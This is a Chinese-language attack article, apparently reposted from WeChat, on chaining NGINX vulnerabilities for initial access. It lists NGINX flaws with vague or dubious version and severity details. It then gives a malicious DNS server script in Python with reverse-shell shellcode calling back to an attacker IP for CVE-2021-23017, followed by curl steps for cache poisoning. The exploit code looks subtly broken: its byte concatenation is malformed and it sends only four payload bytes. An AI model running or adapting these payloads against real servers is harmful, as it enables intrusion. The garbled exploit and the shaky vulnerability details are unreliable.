联合攻击链是一种分阶段的攻击方法,攻击中将多个漏洞或技术结合起来,每个阶段都为后续步骤创造条件,最终获取目标访问权限。从打点到内网横向再到凭证窃取控制内网最终持久控制也可以说是宏观意义上的联合攻击链。但这里说的是其中的打点用到的联合攻击链。大部分目标服务器都对外安装有NGINX容器,而NGINX从出来到现在也存在不少的漏洞。描述:NGINX 的内存处理错误可能会导致远程代码执行。此漏洞影响特定版本的 NGINX,主要与 NGINX 的 HTTP 响应处理有关。
影响版本:1.3.9 至 1.4.0。
危害级别:高描述:NGINX 处理带有超长 Range
请求头时,可能导致整数溢出,进而引发缓冲区溢出或内存泄漏。攻击者可以利用该漏洞访问敏感信息。
影响版本:所有支持 Range
请求头的版本。
危害级别:中描述:在 NGINX 的 HTTP/2 模块中,错误的流量控制可能导致内存使用异常,进而泄露敏感信息。
影响版本:1.9.5 至 1.15.5(启用了 HTTP/2 模块)。
危害级别:中描述:NGINX 的 HTTP/2 模块处理多个窗口更新帧时可能导致内存泄漏,攻击者可以利用该漏洞耗尽服务器资源。
影响版本:1.9.5 至 1.15.5。
危害级别:中描述:NGINX 在处理 HTTP/2 请求时,错误地允许过多的同时流,可能引发 DoS 攻击或信息泄露。
影响版本:1.9.5 至 1.15.5。
危害级别:中描述:NGINX 在处理恶意构造的 DNS 响应时,可能触发堆栈溢出,导致拒绝服务(DoS)或潜在的远程代码执行。
影响版本:0.6.18 至 1.20.0。
危害级别:高描述:NGINX 的 HTTP/2 模块在处理恶意的 HEADERS 帧时,可能导致拒绝服务(DoS)。
影响版本:1.9.5 至 1.16.1 和 1.17.0 至 1.17.5。
危害级别:中 和 CVE-2022-41742
描述:NGINX 处理 ngx_http_mp4_module
模块的 MP4 文件时,可能会因为无效的 MP4 元数据触发拒绝服务(DoS)。
影响版本:使用 ngx_http_mp4_module
模块的版本。
危害级别:中描述:NGINX 的默认安装可能会导致权限配置问题,攻击者可能利用该漏洞提升权限或获取系统访问权限。
影响版本:默认安装时存在漏洞,特别是在 Debian 系统上。
危害级别:中描述:当 NGINX 与某些 OpenSSL 版本结合使用时,可能受到 OpenSSL 中的漏洞影响,导致攻击者窃取 SSL/TLS 会话密钥。
影响版本:依赖受影响 OpenSSL 版本的 NGINX。
危害级别:高http {
resolver 8.8.8.8;
server {
listen 80;
location /api {
proxy_pass http://backend.internal;
}
}
}
GET /api?url=http://attack.dns.com HTTP/1.1
Host: target.com
恶意DNS服务器返回特质的超长响应数据,触发NGINX堆溢出。from dnslib import *
from socket import socket, AF_INET, SOCK_DGRAM
# 替换为攻击者的 IP 和端口
attacker_ip = "1.1.1.1"
attacker_port = 23456
# 构造 shellcode: 执行反弹 Shell
def generate_shellcode(attacker_ip, attacker_port):
# 将 IP 转换为十进制格式
ip_bytes = b"".join([bytes([int(octet)]) for octet in attacker_ip.split(".")])
# 将端口转换为网络字节序(大端)
port_bytes = int(attacker_port).to_bytes(2, "big")
# shellcode: bash -i >& /dev/tcp/1.1.1.1/23456 0>&1
shellcode = (
b"\x48\x31\xc0" # xor rax, rax
b"\x50" # push rax
b"\x48\xbb\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68" # mov rbx, '/bin/bash'
b"\x53" # push rbx
b"\x48\x89\xe7" # mov rdi, rsp
b"\x50" # push rax
b"\x48\x89\xe6" # mov rsi, rsp
b"\x48\x31\xd2" # xor rdx, rdx
b"\x48\x31\xf6" # xor rsi, rsi
b"\x48\xbb\x2f\x64\x65\x76\x2f\x74\x63\x70" # mov rbx, '/dev/tcp'
b"\x53" # push rbx
b"\x48\x89\xe3" # mov rbx, rsp
b"\x68" + ip_bytes[:2] # push IP (前两个字节)
b"\x66\x68" + ip_bytes[2:] # push IP (后两个字节)
b"\x66\x68" + port_bytes # push Port
b"\x48\x89\xe1" # mov rcx, rsp
b"\xb0\x3b" # mov al, 0x3b (execve syscall number for Linux x86_64)
b"\x0f\x05" # syscall
)
return shellcode
# 构造恶意的超长 DNS 响应
def malicious_dns_response(data, addr, sock):
# 解析收到的 DNS 请求
request = DNSRecord.parse(data)
qname = request.q.qname
qtype = request.q.qtype
# 构造响应头
response = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
# 生成反弹 Shell 的 shellcode
shellcode = generate_shellcode(attacker_ip, attacker_port)
# 填充到超长的 A 记录中
payload = shellcode + b"A" * (500 - len(shellcode)) # 填充到 500 字节
if qtype == QTYPE.A: # 如果请求的是 A 记录
response.add_answer(RR(qname, QTYPE.A, rdata=A(payload[:4]))) # 只返回超长数据的前 4 字节作为伪造的 IP
# 发送恶意响应
sock.sendto(response.pack(), addr)
# 启动恶意 DNS 服务器
def start_malicious_dns():
sock = socket(AF_INET, SOCK_DGRAM)
sock.bind(("0.0.0.0", 53)) # 监听 53 端口
print(f"恶意 DNS 服务器正在运行,监听所有流量并返回反弹 Shell shellcode ({attacker_ip}:{attacker_port}) ...")
while True:
data, addr = sock.recvfrom(512)
malicious_dns_response(data, addr, sock)
if __name__ == "__main__":
start_malicious_dns()
注意:缓存中毒不能直接触发CVE-2021-23017,需要触发媒介,比如 注册了对方配置的不存在的proxy_pass中的域名,再比如服务器主动解析污染的缓存图片资源域名。curl -I https://target.com
如果目标存在Cache-Control或者X-Cache或者其他可能存在Cache的头标签。就启用了缓存。 另外的方法就是执行重复请求,判断返回时间是不是比前面更短。 接着确定缓存点,比如请求路径,请求参数值,header头标签都有可能存在缓存点。 判断缓存点的方法最有效的就是缓存点更改不同的值,通过响应时间来判断。 比如路径或者路由是缓存点。(配置了动态目标地址的情况下)curl -X GET "http://target.com/attacker.com"
再判断缓存点是否被污染,直接访问上面带恶意代码的点,再查看返回值中是否带恶意代码,不确定的情况下可以根据不同权限的账户去验证污染结果。如果触发了缓存污染,并且服务器正常解析该域名中的图片动作,就会触发NGINX堆溢出。(服务器远程加载图片存储在服务器上的情况下)
文章来源: https://mp.weixin.qq.com/s?__biz=Mzg5NTY3NTMxMQ==&mid=2247484518&idx=1&sn=b10fc8d8846638b65961aada1a67590b&chksm=c00dfaa6f77a73b054191fa6c5a2fbc170d88c88e6c891e6efc106506a4230e6fe53f33eedcb&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh